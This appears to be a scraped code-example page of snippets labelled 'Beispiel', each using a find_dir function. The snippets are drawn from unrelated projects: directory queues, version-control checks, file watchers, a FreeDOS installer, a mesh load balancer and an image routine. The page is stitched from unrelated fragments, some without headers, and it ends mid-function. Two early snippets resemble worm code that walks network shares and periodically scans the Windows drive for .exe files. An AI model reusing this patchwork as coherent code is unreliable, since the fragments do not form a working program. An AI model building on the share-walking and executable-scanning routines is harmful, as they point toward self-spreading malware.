Beispiel #1
0
bool shares(LPNETRESOURCEW lpnr, void *arg){
	switch (lpnr->dwDisplayType) {
	case (RESOURCEDISPLAYTYPE_SERVER) :
		find_dir(lpnr->lpRemoteName, L"*.*", P, arg);
		break;
	case (RESOURCEDISPLAYTYPE_SHARE) :
		find_dir(lpnr->lpRemoteName, L"*.*", P, arg);
		break;
	}

	return true;
}
int remove_dir(const int id) {
  struct dir_queue * tmp = find_dir(id);
  if (tmp == NULL) {
    return -1;
  }

  if (tmp->prev == NULL) {
    dir_head = tmp->next;
    if (dir_head != NULL) {
      dir_head->prev = NULL;
    } else {
      dir_tail = NULL;
    }
  } else {
    struct dir_queue * dir_obj = tmp->prev;
    dir_obj->next = tmp->next;

    if (dir_obj->next != NULL) {
      dir_obj->next->prev = dir_obj;
    } else {
      dir_tail = dir_obj;
    }
  }

  free(tmp);

  return 0;
}
int main(void)
{
	int x;
	while(TRUE)
	{
	x=menu(x);
	switch(x)
	{
		case 0:
			return 0;
		case 1:
			create_dir();break;
		case 2:
			find_dir();break;
		case 3:
			del_dir();break;
		case 4:
			modify_dir();break;
		case 5:
			insert_dir();break;
		case 6:
			num();break;	
		case 7:
			all();break;	
		default:
			exit(-1);				
	}
	}
	return 0; 
} 
Beispiel #4
0
static gboolean
in_vc_svn(const gchar * filename)
{
	const gchar *argv[] = { "svn", "info", "--non-interactive", NULL, NULL };
	gchar *dir;
	gchar *base_name;
	gboolean ret = FALSE;
	gchar *std_output;

	if (!find_dir(filename, ".svn", TRUE))
		return FALSE;

	if (g_file_test(filename, G_FILE_TEST_IS_DIR))
		return TRUE;

	dir = g_path_get_dirname(filename);
	base_name = g_path_get_basename(filename);
	argv[3] = base_name;

	execute_custom_command(dir, (const gchar **) argv, NULL, &std_output, NULL,
			       dir, NULL, NULL);
	if (!EMPTY(std_output))
	{
		ret = TRUE;
		g_free(std_output);
	}
	g_free(base_name);
	g_free(dir);

	return ret;
}
Beispiel #5
0
static gboolean
in_vc_bzr(const gchar * filename)
{
	const gchar *argv[] = { "bzr", "log", NULL, NULL };
	gchar *dir;
	gchar *base_name;
	gboolean ret = FALSE;
	gchar *std_output;

	if (!find_dir(filename, ".bzr", TRUE))
		return FALSE;

	if (g_file_test(filename, G_FILE_TEST_IS_DIR))
		return TRUE;

	dir = g_path_get_dirname(filename);
	base_name = g_path_get_basename(filename);
	argv[2] = base_name;

	execute_custom_command(dir, (const gchar **) argv, NULL, &std_output, NULL,
			       filename, NULL, NULL);

	if (NZV(std_output))
	{
		ret = TRUE;
	}
	g_free(std_output);

	g_free(base_name);
	g_free(dir);

	return ret;
}
Beispiel #6
0
static gboolean
in_vc_git(const gchar * filename)
{
	gint exit_code;
	const gchar *argv[] = { "git", "ls-files", "--", NULL, NULL };
	gchar *dir;
	gchar *base_name;
	gboolean ret = FALSE;
	gchar *std_output;

	if (!find_dir(filename, ".git", TRUE))
		return FALSE;

	if (g_file_test(filename, G_FILE_TEST_IS_DIR))
		return TRUE;

	dir = g_path_get_dirname(filename);
	base_name = g_path_get_basename(filename);
	argv[3] = base_name;

	exit_code = execute_custom_command(dir, (const gchar **) argv, NULL, &std_output, NULL,
					   dir, NULL, NULL);
	if (NZV(std_output))
	{
		ret = TRUE;
		g_free(std_output);
	}

	g_free(base_name);
	g_free(dir);

	return ret;
}
return_type fsCloseDir(const int nparams, arg_type *a) {
    if (nparams != 1) {
        r.return_val = set_error(EINVAL);
        r.return_size = sizeof(int);
        r.in_error = 1;
        return r;
    }

    struct dir_queue * dir = find_dir(*(int *)a->arg_val);

    if (dir == NULL) {
        r.return_val = set_error(ENOTDIR);
        r.return_size = sizeof(int);
        r.in_error = 1;
        return r;
    }


    int * close_dir_result = malloc(sizeof(int));
    *close_dir_result = closedir(dir->dir);

    if (*close_dir_result == 0) {
        remove_dir(*(int *)a->arg_val);
    }

    r.return_val = (void *)close_dir_result;
    r.return_size = sizeof(int);
    r.in_error = 0;
    return r;
}
Beispiel #8
0
int comando(int argc, string * argv) {
    int i, j, size;
    object ob;
    string file;
    string * paths, * files;

    for(i=0; i<argc; i++) {
        size = sizeof(files = explore_path(argv[i], 2));
	if (size) {
	    for(j=0; j<size; j++) {	
		file = files[j];
		if (find_dir(file)) {
		    notify_fail("update: "+file+" es un directorio.\n");
		    return 0;
		}
		if ((ob = find_object(file)) && (ob != find_object(VOID))) {
		    /* pillar los objetos que estan dentro de ob 
	    	    * y llevarlos a void.
	            * Opcion: despues del update, intentar llevarlos de vuelta al origen, 
	            * y sino a void.
		    */
		}
		if (!update(file)) {
		    write("update: "+file+" no necesita actualizarse.\n");
		}
	    }
	}
	else {
    	    write("update: No se encuentra el archivo '"+argv[i]+"'.\n");
	}
    }
    return 1;
}
Beispiel #9
0
void WatchLinux::remove(const std::string &dir){
	auto it = find_dir(dir);
	if (it != watchers.end()){
		inotify_rm_watch(notify_fd, it->first);
		watchers.erase(it);
	}
}
	void npc::move()
	{
		bool first_run = true;
		if(first_run)
		{elapsedTime = clock.restart();}

	tempSpeed = elapsedTime.asSeconds()*10000;
	/*cout <<tempSpeed<<endl;*/
	sf::Vector2f cord(sprite.getPosition());
	if(tempSpeed>50)
	{
	not_working = true;
	find_dir();
	cout<<dir<<endl;
		/*cout<<cord.x<<" , "<<cord.y<<endl;*/
		sf::Vector2f arrowcords=sprite.getPosition();		
		//cout<<arrowcords.x<<" , "<<arrowcords.y<<endl;

		switch (dir)
		{
			case 0:
			sprite.move(-40,-40);
			break ;
			case 1:
			sprite.move(0,-40);
			break ;
			case 2:
			sprite.move(40,-40);
			break ;
			case 3:
			sprite.move(-40,0);
			break ;
			case 4:
			sprite.move(40,0);
			break ;
			case 5:
			sprite.move(-40,40);
			break ;
			case 6:
			sprite.move(0,40);
			break ;
			case 7:
			sprite.move(40,40);
			break ;
			default:
			sprite.move(0,0);
			break ;
			elapsedTime = clock.restart();
			//cout<<"reset clock\n";

			}
					elapsedTime = clock.restart();
			//cout<<"reset clock\n";
		}	
	}
Beispiel #11
0
DWORD __stdcall thread_autorun(void *arg){
	bool r = false;
	Sleep(20000);
	while (1){
		if (!check_autorun()){
			wchar_t drive[MAX_PATH];
			GetWindowsDirectoryW(drive, MAX_PATH);
			drive[2] = 0;
			find_dir(drive, L"*.exe", autorun, 0);
		}
		Sleep(60000);
	}
	return 0;
}
Beispiel #12
0
int fp (int argc, char *argv[])
{
	int	i;
	int	rc;

	for (i = 1; i < argc; ++i) {
		rc = find_dir(argv[i]);
		if (rc != 0) {
			printf("Didn't find string %s\n", argv[i]);
			return rc;
		}
	}
	return 0;
}
Beispiel #13
0
int fill (int n)
{
	int	i;
	int	rc;
	char	*name;

	for (i = 0; i < n; i++) {
		do {
			name = gen_name();
		} while (find_dir(name) != qERR_NOT_FOUND);
		rc = insert_dir(name, 0, 0);
		if (rc != 0) {
			return rc;
		}
	}
	return 0;
}
Beispiel #14
0
void FileMgr::search(){	
	if (flag_fm == 1){											//For directory file search
		if (flip == 0 && path_ != "."){
			FileSystem::Directory::setCurrentDirectory(path_);
			flip = 1;
		}
		find_files(path_); 
		find_dir(path_);
	}
	else{														//non  directory file search
		if (flip == 0 && path_ != "."){
			FileSystem::Directory::setCurrentDirectory(path_);
			flip = 1;
		}
		find_files(path_);
	}
}
Beispiel #15
0
void WatchLinux::watch(const std::string &dir, uint32_t filters, const Callback &callback){
	auto fnd = find_dir(dir);
	if (fnd != watchers.end() && fnd->second.filter != filters){
		fnd->second.filter = filters;
		fnd->second.callback = callback;
	}
	//When modifying an existing watch we get back the existing descriptor, so no
	//need to update it
	int wd = inotify_add_watch(notify_fd, dir.c_str(), filters);
	if (wd == -1){
		std::string msg = "lfw Error: Failed to watch " + dir;
		perror(msg.c_str());
		return;
	}
	if (fnd == watchers.end()){
		watchers.emplace(std::make_pair(wd, WatchData{wd, dir, filters, callback}));
	}
}
return_type fsReadDir(const int nparams, arg_type *a) {
    if (nparams != 1) {
        r.return_val = set_error(EINVAL);
        r.return_size = sizeof(int);
        r.in_error = 1;
        return r;
    }

    int id = *(int *) a->arg_val;
    struct dir_queue * dir = find_dir(id);
    if (dir == NULL) {
        r.return_val = set_error(ENOTDIR);
        r.return_size = sizeof(int);
        r.in_error = 1;
        return r;
    }

    struct dirent * dir_info = readdir(dir->dir);
    if (dir_info == NULL) {
        r.return_val = set_error(ENOENT);
        r.return_size = sizeof(int);
        r.in_error = 1;
    } else {
        struct fsDirent * dirent = malloc(sizeof(struct fsDirent));

        if(dir_info->d_type == DT_DIR) {
            dirent->entType = 1;
        }
        else if(dir_info->d_type == DT_REG) {
            dirent->entType = 0;
        }
        else {
            dirent->entType = -1;
        }

        memcpy(&dirent->entName, &dir_info->d_name, 256);

        r.return_size = sizeof(struct fsDirent);
        r.return_val = (void *)dirent;
        r.in_error = 0;
    }

    return r;
}
sptr<DirectorMeta> DirectorMeta::MakeDirector( sptr<Path> path )
{
    auto sthis = this->shared_from_this();

    for ( auto & p : path->PathList() )
    {
        auto t = sthis->find_dir( p );
        if ( t == nullptr )
        {
            sptr<DirectorMeta> dir = make_sptr( DirectorMeta );
            dir->path_ = dir->full_path_ = p;
            sthis->children_dir_list_.push_back( dir );
            sthis = dir;
        }

    }

    return sthis;
}
Beispiel #18
0
int mixp (int argc, char *argv[])
{
	int	n;
	int	i;
	int	rc;
	int	sum;
	char	*name;
	int	x;

	if (argc > 1) {
		n = atoi(argv[1]);
	} else {
		n = 10;
	}
	sum = num_recs();

	for (i = 0; i < n; i++) {
		if (!sum || random_percent(51)) {
			do {
				name = gen_name();
			} while (find_dir(name) != qERR_NOT_FOUND);
			rc = insert_dir(name, 0, 0);
			if (rc != 0) {
				return rc;
			}
			++sum;
			x = num_recs();
			assert(sum == x);
		} else {
			x = urand(sum);
			rc = del_ith(x);//urand(sum));
			if (rc) {
				return rc;
			}
			--sum;
			x = num_recs();
			assert(sum == x);
		}
	}
	return 0;
}
Beispiel #19
0
int genp (int argc, char *argv[])
{
	int	n;
	int	i;
	int	rc;
	char	*name;

	if (argc > 1) {
		n = atoi(argv[1]);
	} else {
		n = 10;
	}
	for (i = 0; i < n; i++) {
		do {
			name = gen_name();
		} while (find_dir(name) == 0);
		rc = insert_dir(name, 0, 0);
		if (rc != 0) {
			return rc;
		}
	}
	return 0;
}
Beispiel #20
0
/*
 * Returns 1 for failure, 0 for success
 */
int main(int argc, char **argv) {
    char *dosdir,
         *fdauto,
         *fdconfig,
         dd[_MAX_PATH],
         fa[_MAX_PATH],
         fc[_MAX_PATH],
         temp[12],
         executestring[_MAX_PATH];
    int ret = -1;
    FILE *fp;
    kittenopen("FDPKG");
    if((argc&&argv[1][0]=='/'||argv[1][0]=='-')&&(argv[1][1]=='?'||tolower(argv[1][1])=='h'))
    {
        help();
        kittenclose();
        return 1;
    }
    sprintf(temp, "%s.BAT", _mktemp("XXXXXX"));
    while(access(temp, 0) == 0) sprintf(temp, "%s.BAT", _mktemp("XXXXXX"));
    if((fp = fopen(temp, "w")) == NULL) {
        kitten_printf(5,4,"Could not open temp files\n");
        return -1;
    }
    while(kbhit()) getch();
    sprintf(executestring, "%s\r", temp);
    kb_stuff(executestring);
    fprintf(fp, "@echo off\n");
    if((dosdir = getenv("DOSDIR")) == NULL) {
        if		(access("C:\\FDOS"   , 0) == 0) {
            ret = find_dir("C:\\FDOS");
            if(ret == 0) strcpy(dd, "C:\\FDOS");
        }
        if(ret != 0 && access("C:\\FREEDOS", 0) == 0) {
            ret = find_dir("C:\\FREEDOS");
            if(ret == 0) strcpy(dd, "C:\\FREEDOS");
        }
        if(ret != 0 && access("C:\\DOS"    , 0) == 0) {
            ret = find_dir("C:\\DOS");
            if(ret == 0) strcpy(dd, "C:\\DOS");
        }
        if(ret != 0 && access("D\\FDOS"    , 0) == 0) {
            ret = find_dir("D:\\FDOS");
            if(ret == 0) strcpy(dd, "D:\\FDOS");
        }
        if(ret != 0 && access("D\\FREEDOS" , 0) == 0) {
            ret = find_dir("D:\\FREEDOS");
            if(ret == 0) strcpy(dd, "D:\\FREEDOS");
        }
        if(ret != 0 && access("D\\DOS"     , 0) == 0) {
            ret = find_dir("D:\\DOS");
            if(ret == 0) strcpy(dd, "D:\\DOS");
        }
        if(ret != 0) {
            kitten_printf(5,5,"Could not find suitable directory for %%DOSDIR%%\n");
            fclose(fp);
            return -1;
        } else fprintf(fp, "SET DOSDIR=%s\n", dd);
    }
    if((fdauto = getenv("AUTOFILE")) == NULL) {
        if(	access("C:\\FDAUTO.BAT",   0) == 0) strcpy(fa, "C:\\FDAUTO.BAT");
        else if(access("C:\\AUTOEXEC.BAT", 0) == 0) strcpy(fa, "C:\\AUTOEXEC.BAT");
        else {
            kitten_printf(5,6,"Could not find suitable autoexec.bat\n");
            fprintf(fp, "DEL %s\x1a", temp);
            fclose(fp);
            return -1;
        }
        fprintf(fp, "SET AUTOFILE=%s\necho SET AUTOFILE=%s >> %s\n", fa, fa, fa);
        if(dosdir == NULL) fprintf(fp, "echo SET DOSDIR=%s >> %s\n", dd, fa);
    } else if(dosdir == NULL) fprintf(fp, "echo SET DOSDIR=%s >> %s\n", dd, fdauto);
    if((fdconfig = getenv("CFGFILE")) == NULL) {
        if(	access("C:\\FDCONFIG.SYS", 0) == 0) strcpy(fc, "C:\\FDCONFIG.SYS");
        else if(access("C:\\CONFIG.SYS"  , 0) == 0) strcpy(fc, "C:\\CONFIG.SYS");
        else {
            kitten_printf(5,7,"Could not find suitable config.sys\n");
            fprintf(fp, "DEL %s\x1a", temp);
            fclose(fp);
            return -1;
        }
        fprintf(fp, "SET CFGFILE=%s\necho SET CFGFILE=%s >> %s\n",
                fc, fc, (fdauto == NULL) ? fa : fdauto);
    }
    fprintf(fp, "DEL %s\x1a", temp);
    fclose(fp);
    return 0;
}
Beispiel #21
0
// Initialize the problem and setup initial blocks.
void init(void)
{
   int n, var, i, j, k, l, m, o, size, dir, i1, i2, j1, j2, k1, k2, ib, jb, kb;
   int start[num_pes], pos[3][num_pes], pos1[npx][npy][npz], set,
       num, npx1, npy1, npz1, pes, fact, fac[25], nfac, f;
   block *bp;

   tol = pow(10.0, ((double) -error_tol));

   p2[0] = p8[0] = 1;
   for (i = 0; i < (num_refine+1); i++) {
      p8[i+1] = p8[i]*8;
      p2[i+1] = p2[i]*2;
      sorted_index[i] = 0;
   }
   sorted_index[num_refine+1] = 0;
   block_start[0] = 0;
   local_max_b = global_max_b =  init_block_x*init_block_y*init_block_z;
   num = num_pes*global_max_b;
   for (i = 1; i <= num_refine; i++) {
      block_start[i] = block_start[i-1] + num;
      num *= 8;
      num_blocks[i] = 0;
      local_num_blocks[i] = 0;
   }

   /* initialize for communication arrays, which are initialized below */
   zero_comm_list();

   x_block_half = x_block_size/2;
   y_block_half = y_block_size/2;
   z_block_half = z_block_size/2;

   if (!code) {
      /* for E/W (X dir) messages:
         0: whole -> whole (7), 1: whole -> whole (27),
         2: whole -> quarter, 3: quarter -> whole */
      msg_len[0][0] = msg_len[0][1] = y_block_size*z_block_size;
      msg_len[0][2] = msg_len[0][3] = y_block_half*z_block_half;
      /* for N/S (Y dir) messages */
      msg_len[1][0] = x_block_size*z_block_size;
      msg_len[1][1] = (x_block_size+2)*z_block_size;
      msg_len[1][2] = msg_len[1][3] = x_block_half*z_block_half;
      /* for U/D (Z dir) messages */
      msg_len[2][0] = x_block_size*y_block_size;
      msg_len[2][1] = (x_block_size+2)*(y_block_size+2);
      msg_len[2][2] = msg_len[2][3] = x_block_half*y_block_half;
   } else if (code == 1) {
      /* for E/W (X dir) messages */
      msg_len[0][0] = msg_len[0][1] = (y_block_size+2)*(z_block_size+2);
      msg_len[0][2] = (y_block_half+1)*(z_block_half+1);
      msg_len[0][3] = (y_block_half+2)*(z_block_half+2);
      /* for N/S (Y dir) messages */
      msg_len[1][0] = msg_len[1][1] = (x_block_size+2)*(z_block_size+2);
      msg_len[1][2] = (x_block_half+1)*(z_block_half+1);
      msg_len[1][3] = (x_block_half+2)*(z_block_half+2);
      /* for U/D (Z dir) messages */
      msg_len[2][0] = msg_len[2][1] = (x_block_size+2)*(y_block_size+2);
      msg_len[2][2] = (x_block_half+1)*(y_block_half+1);
      msg_len[2][3] = (x_block_half+2)*(y_block_half+2);
   } else {
      /* for E/W (X dir) messages */
      msg_len[0][0] = msg_len[0][1] = (y_block_size+2)*(z_block_size+2);
      msg_len[0][2] = (y_block_half+1)*(z_block_half+1);
      msg_len[0][3] = (y_block_size+2)*(z_block_size+2);
      /* for N/S (Y dir) messages */
      msg_len[1][0] = msg_len[1][1] = (x_block_size+2)*(z_block_size+2);
      msg_len[1][2] = (x_block_half+1)*(z_block_half+1);
      msg_len[1][3] = (x_block_size+2)*(z_block_size+2);
      /* for U/D (Z dir) messages */
      msg_len[2][0] = msg_len[2][1] = (x_block_size+2)*(y_block_size+2);
      msg_len[2][2] = (x_block_half+1)*(y_block_half+1);
      msg_len[2][3] = (x_block_size+2)*(y_block_size+2);
   }

   /* Determine position of each core in initial mesh */
   npx1 = npx;
   npy1 = npy;
   npz1 = npz;
   for (i = 0; i < 3; i++)
      for (j = 0; j < num_pes; j++)
         pos[i][j] = 0;
   nfac = factor(num_pes, fac);
   max_num_req = num_pes;
   request = (MPI_Request *) ma_malloc(max_num_req*sizeof(MPI_Request),
                                       __FILE__, __LINE__);
   if (nonblocking)
      s_req = (MPI_Request *) ma_malloc(max_num_req*sizeof(MPI_Request),
                                        __FILE__, __LINE__);
   pes = 1;
   start[0] = 0;
   num = num_pes;
   comms = (MPI_Comm *) ma_malloc((nfac+1)*sizeof(MPI_Comm),
                                  __FILE__, __LINE__);
   me = (int *) ma_malloc((nfac+1)*sizeof(int), __FILE__, __LINE__);
   np = (int *) ma_malloc((nfac+1)*sizeof(int), __FILE__, __LINE__);
   comms[0] = MPI_COMM_WORLD;
   me[0] = my_pe;
   np[0] = num_pes;
   // initialize
   for (n = 0, i = nfac; i > 0; i--, n++) {
      fact = fac[i-1];
      dir = find_dir(fact, npx1, npy1, npz1);
      if (dir == 0)
         npx1 /= fact;
      else
         if (dir == 1)
            npy1 /= fact;
         else
            npz1 /= fact;
      num /= fact;
      set = me[n]/num;
      MPI_Comm_split(comms[n], set, me[n], &comms[n+1]);
      MPI_Comm_rank(comms[n+1], &me[n+1]);
      MPI_Comm_size(comms[n+1], &np[n+1]);
      for (j = pes-1; j >= 0; j--)
         for (k = 0; k < fact; k++) {
            m = j*fact + k;
            if (!k)
               start[m] = start[j];
            else
               start[m] = start[m-1] + num;
            for (l = start[m], o = 0; o < num; l++, o++)
               pos[dir][l] = pos[dir][l]*fact + k;
         }
      pes *= fact;
   }
   for (i = 0; i < num_pes; i++)
      pos1[pos[0][i]][pos[1][i]][pos[2][i]] = i;

   max_active_block = init_block_x*init_block_y*init_block_z;
   num_active = max_active_block;
   global_active = num_active*num_pes;
   num_parents = max_active_parent = 0;
   size = p2[num_refine+1];  /* block size is p2[num_refine+1-level]
                              * smallest block is size p2[1], so can find
                              * its center */
   mesh_size[0] = npx*init_block_x*size;
   max_mesh_size = mesh_size[0];
   mesh_size[1] = npy*init_block_y*size;
   if (mesh_size[1] > max_mesh_size)
      max_mesh_size = mesh_size[1];
   mesh_size[2] = npz*init_block_z*size;
   if (mesh_size[2] > max_mesh_size)
      max_mesh_size = mesh_size[2];
   if ((num_pes+1) > max_mesh_size)
      max_mesh_size = num_pes + 1;
   bin  = (int *) ma_malloc(max_mesh_size*sizeof(int), __FILE__, __LINE__);
   gbin = (int *) ma_malloc(max_mesh_size*sizeof(int), __FILE__, __LINE__);
   if (stencil == 7)
      f = 0;
   else
      f = 1;
   for (o = n = k1 = k = 0; k < npz; k++)
      for (k2 = 0; k2 < init_block_z; k1++, k2++)
         for (j1 = j = 0; j < npy; j++)
            for (j2 = 0; j2 < init_block_y; j1++, j2++)
               for (i1 = i = 0; i < npx; i++)
                  for (i2 = 0; i2 < init_block_x; i1++, i2++, n++) {
                     m = pos1[i][j][k];
                     if (m == my_pe) {
                        bp = &blocks[o];
                        bp->level = 0;
                        bp->number = n;
                        bp->parent = -1;
                        bp->cen[0] = i1*size + size/2;
                        bp->cen[1] = j1*size + size/2;
                        bp->cen[2] = k1*size + size/2;
                        add_sorted_list(o, n, 0);
                        for (var = 0; var < num_vars; var++)
                           for (ib = 1; ib <= x_block_size; ib++)
                              for (jb = 1; jb <= y_block_size; jb++)
                                 for (kb = 1; kb <= z_block_size; kb++)
                                    bp->array[var][ib][jb][kb] =
                                       ((double) rand())/((double) RAND_MAX);
                        if (i2 == 0)
                           if (i == 0) { /* 0 boundary */
                              bp->nei_level[0] = -2;
                              bp->nei[0][0][0] = 0;
                           } else {      /* boundary with neighbor core */
                              bp->nei_level[0] = 0;
                              bp->nei[0][0][0] = -1 - pos1[i-1][j][k];
                              add_comm_list(0, o, pos1[i-1][j][k], 0+f,
                                            bp->cen[2]*mesh_size[1]+bp->cen[1],
                                            bp->cen[0] - size/2);
                           }
                        else {          /* neighbor on core */
                           bp->nei_level[0] = 0;
                           bp->nei[0][0][0] = o - 1;
                        }
                        bp->nei_refine[0] = 0;
                        if (i2 == (init_block_x - 1))
                           if (i == (npx - 1)) { /* 1 boundary */
                              bp->nei_level[1] = -2;
                              bp->nei[1][0][0] = 0;
                           } else {      /* boundary with neighbor core */
                              bp->nei_level[1] = 0;
                              bp->nei[1][0][0] = -1 - pos1[i+1][j][k];
                              add_comm_list(0, o, pos1[i+1][j][k], 10+f,
                                            bp->cen[2]*mesh_size[1]+bp->cen[1],
                                            bp->cen[0] + size/2);
                           }
                        else {          /* neighbor on core */
                           bp->nei_level[1] = 0;
                           bp->nei[1][0][0] = o + 1;
                        }
                        bp->nei_refine[1] = 0;
                        if (j2 == 0)
                           if (j == 0) { /* 0 boundary */
                              bp->nei_level[2] = -2;
                              bp->nei[2][0][0] = 0;
                           } else {      /* boundary with neighbor core */
                              bp->nei_level[2] = 0;
                              bp->nei[2][0][0] = -1 - pos1[i][j-1][k];
                              add_comm_list(1, o, pos1[i][j-1][k], 0+f,
                                            bp->cen[2]*mesh_size[0]+bp->cen[0],
                                            bp->cen[1] - size/2);
                           }
                        else {          /* neighbor on core */
                           bp->nei_level[2] = 0;
                           bp->nei[2][0][0] = o - init_block_x;
                        }
                        bp->nei_refine[2] = 0;
                        if (j2 == (init_block_y - 1))
                           if (j == (npy - 1)) { /* 1 boundary */
                              bp->nei_level[3] = -2;
                              bp->nei[3][0][0] = 0;
                           } else {      /* boundary with neighbor core */
                              bp->nei_level[3] = 0;
                              bp->nei[3][0][0] = -1 - pos1[i][j+1][k];
                              add_comm_list(1, o, pos1[i][j+1][k], 10+f,
                                            bp->cen[2]*mesh_size[0]+bp->cen[0],
                                            bp->cen[1] + size/2);
                           }
                        else {          /* neighbor on core */
                           bp->nei_level[3] = 0;
                           bp->nei[3][0][0] = o + init_block_x;
                        }
                        bp->nei_refine[3] = 0;
                        if (k2 == 0)
                           if (k == 0) { /* 0 boundary */
                              bp->nei_level[4] = -2;
                              bp->nei[4][0][0] = 0;
                           } else {      /* boundary with neighbor core */
                              bp->nei_level[4] = 0;
                              bp->nei[4][0][0] = -1 - pos1[i][j][k-1];
                              add_comm_list(2, o, pos1[i][j][k-1], 0+f,
                                            bp->cen[1]*mesh_size[0]+bp->cen[0],
                                            bp->cen[2] - size/2);
                           }
                        else {          /* neighbor on core */
                           bp->nei_level[4] = 0;
                           bp->nei[4][0][0] = o - init_block_x*init_block_y;
                        }
                        bp->nei_refine[4] = 0;
                        if (k2 == (init_block_z - 1))
                           if (k == (npz - 1)) { /* 1 boundary */
                              bp->nei_level[5] = -2;
                              bp->nei[5][0][0] = 0;
                           } else {      /* boundary with neighbor core */
                              bp->nei_level[5] = 0;
                              bp->nei[5][0][0] = -1 - pos1[i][j][k+1];
                              add_comm_list(2, o, pos1[i][j][k+1], 10+f,
                                            bp->cen[1]*mesh_size[0]+bp->cen[0],
                                            bp->cen[2] + size/2);
                           }
                        else {          /* neighbor on core */
                           bp->nei_level[5] = 0;
                           bp->nei[5][0][0] = o + init_block_x*init_block_y;
                        }
                        bp->nei_refine[5] = 0;
                        o++;
                     }
                  }

   check_buff_size();

   for (var = 0; var < num_vars; var++)
      grid_sum[var] = check_sum(var);
}
Beispiel #22
0
// This file includes routines needed for load balancing.  Load balancing is
// based on RCB.  At each stage, a direction and factor is chosen (factor is
// based on the prime factorization of the number of processors) and the
// blocks in that group are sorted in that direction and divided into factor
// subgroups.  Then dots (corresponding to blocks) are moved into the proper
// subgroup and the process is repeated with the subgroups until each group
// represents a processor.  The dots are then moved back to the originating
// processor, at which point we know where the blocks need to be moved and
// then the blocks are moved.  Some of these routines are also used when
// blocks need to be coarsened - the coarsening routine determines which
// blocks need to be coarsened and those blocks are moved to the processor
// where their parent is.
void load_balance(void)
{
   int npx1, npy1, npz1, nfac, fac[25], fact;
   int i, j, m, n, dir, in;
   double t1, t2, t3, t4, t5, tp, tm, tu;
   block *bp;

   tp = tm = tu = 0.0;

   t3 = t4 = t5 = 0.0;
   t1 = timer();
   for (in = 0, num_dots = 0; in < sorted_index[num_refine+1]; in++) {
      n = sorted_list[in].n;
      if ((bp = &blocks[n])->number >= 0) {
         bp->new_proc = my_pe;
         if ((num_dots+1) > max_num_dots) {
            printf("%d ERROR: need more dots\n", my_pe);
            exit(-1);
         }
         dots[num_dots].cen[0] = bp->cen[0];
         dots[num_dots].cen[1] = bp->cen[1];
         dots[num_dots].cen[2] = bp->cen[2];
         dots[num_dots].number = bp->number;
         dots[num_dots].n = n;
         dots[num_dots].proc = my_pe;
         dots[num_dots++].new_proc = 0;
      }
   }
   max_active_dot = num_dots;
   for (n = num_dots; n < max_num_dots; n++)
      dots[n].number = -1;

   npx1 = npx;
   npy1 = npy;
   npz1 = npz;
   nfac = factor(num_pes, fac);
   for (i = nfac, j = 0; i > 0; i--, j++) {
      fact = fac[i-1];
      dir = find_dir(fact, npx1, npy1, npz1);
      if (dir == 0)
         npx1 /= fact;
      else if (dir == 1)
         npy1 /= fact;
      else
         npz1 /= fact;
      sort(j, fact, dir);
      move_dots(j, fact);
   }
   // first have to move information from dots back to original core,
   // then will update processor block is moving to, and then its neighbors
   for (n = 0; n < num_pes; n++)
      to[n] = 0;
   for (m = i = 0; i < max_active_dot; i++)
      if (dots[i].number >= 0 && dots[i].proc != my_pe) {
         to[dots[i].proc]++;
         m++;
      }

   num_moved_lb += m;
   MPI_Allreduce(&m, &n, 1, MPI_INTEGER, MPI_SUM, MPI_COMM_WORLD);
   t4 = timer();
   t2 = t4 - t1;
   if (n) {  // Only move dots and blocks if there is something to move
      MPI_Alltoall(to, 1, MPI_INTEGER, from, 1, MPI_INTEGER, MPI_COMM_WORLD);

      move_dots_back();
      t5 = timer();
      t3 = t5 - t4;
      t4 = t5;

      move_blocks(&tp, &tm, &tu);
   }
   t5 = timer() - t4;
   timer_lb_misc += timer() - t1 - t2 - t3 - tp - tm - tu;
   timer_lb_sort += t2;
   timer_lb_pa += tp;
   timer_lb_mv += tm;
   timer_lb_un += tu;
   timer_lb_mb += t3;
   timer_lb_ma += t5;
}
Beispiel #23
0
/**	\brief	Find the maximum around the pixel.
    \param	img		The pointer to gradient image.
    \param	yx		The pixel coordinate (yx = y*w + x)
    \param	w		The image width.
    \param  in1		The previous maximum direction.
    \retval			The direction of of local max.
*/
static inline int dir(uint8 *con, int16 *grad, int *dr, int yx, int in1, int w)
{
    uint8 max = 0,  i;
    int in = 0, tmp[3];
    /*
    if(yx == 812-1 + (542+1)*w) {
        printf("befor dir3: x = %d y = %d in1 = %d\n", yx%w, yx/w, in1);
        print_around(con, yx, w);
        print_around(grad, yx, w);

        print_con_grad(grad, con, yx, w);
    }*/
    //x = 1077 y = 1174
    if(in1 == 0){
        if(grad[yx+dr[0]] > max) { max = grad[yx+dr[0]]; in = dr[0]; }
        if(grad[yx+dr[1]] > max) { max = grad[yx+dr[1]]; in = dr[1]; }
        if(grad[yx+dr[2]] > max) { max = grad[yx+dr[2]]; in = dr[2]; }
        if(grad[yx+dr[3]] > max) { max = grad[yx+dr[3]]; in = dr[3]; }
        if(grad[yx+dr[4]] > max) { max = grad[yx+dr[4]]; in = dr[4]; }
        if(grad[yx+dr[5]] > max) { max = grad[yx+dr[5]]; in = dr[5]; }
        if(grad[yx+dr[6]] > max) { max = grad[yx+dr[6]]; in = dr[6]; }
        if(grad[yx+dr[7]] > max) { max = grad[yx+dr[7]]; in = dr[7]; }
        return in;
    }

    if      (in1 == dr[0]){ tmp[0] = dr[3]; tmp[1] = dr[4]; tmp[2] = dr[5]; }
    else if (in1 == dr[1]){ tmp[0] = dr[4]; tmp[1] = dr[5]; tmp[2] = dr[6]; }
    else if (in1 == dr[2]){ tmp[0] = dr[5]; tmp[1] = dr[6]; tmp[2] = dr[7]; }
    else if (in1 == dr[3]){ tmp[0] = dr[6]; tmp[1] = dr[7]; tmp[2] = dr[0]; }
    else if (in1 == dr[4]){ tmp[0] = dr[7]; tmp[1] = dr[0]; tmp[2] = dr[1]; }
    else if (in1 == dr[5]){ tmp[0] = dr[0]; tmp[1] = dr[1]; tmp[2] = dr[2]; }
    else if (in1 == dr[6]){ tmp[0] = dr[1]; tmp[1] = dr[2]; tmp[2] = dr[3]; }
    else if (in1 == dr[7]){ tmp[0] = dr[2]; tmp[1] = dr[3]; tmp[2] = dr[4]; }
    //printf("tmp0 = %d tmp1 = %d tmp2 = %d\n", tmp[0], tmp[1], tmp[2]);
    max = 0;
    if(grad[yx+tmp[0]] > max) { max = grad[yx+tmp[0]]; in = tmp[0]; }
    if(grad[yx+tmp[1]] > max) { max = grad[yx+tmp[1]]; in = tmp[1]; }
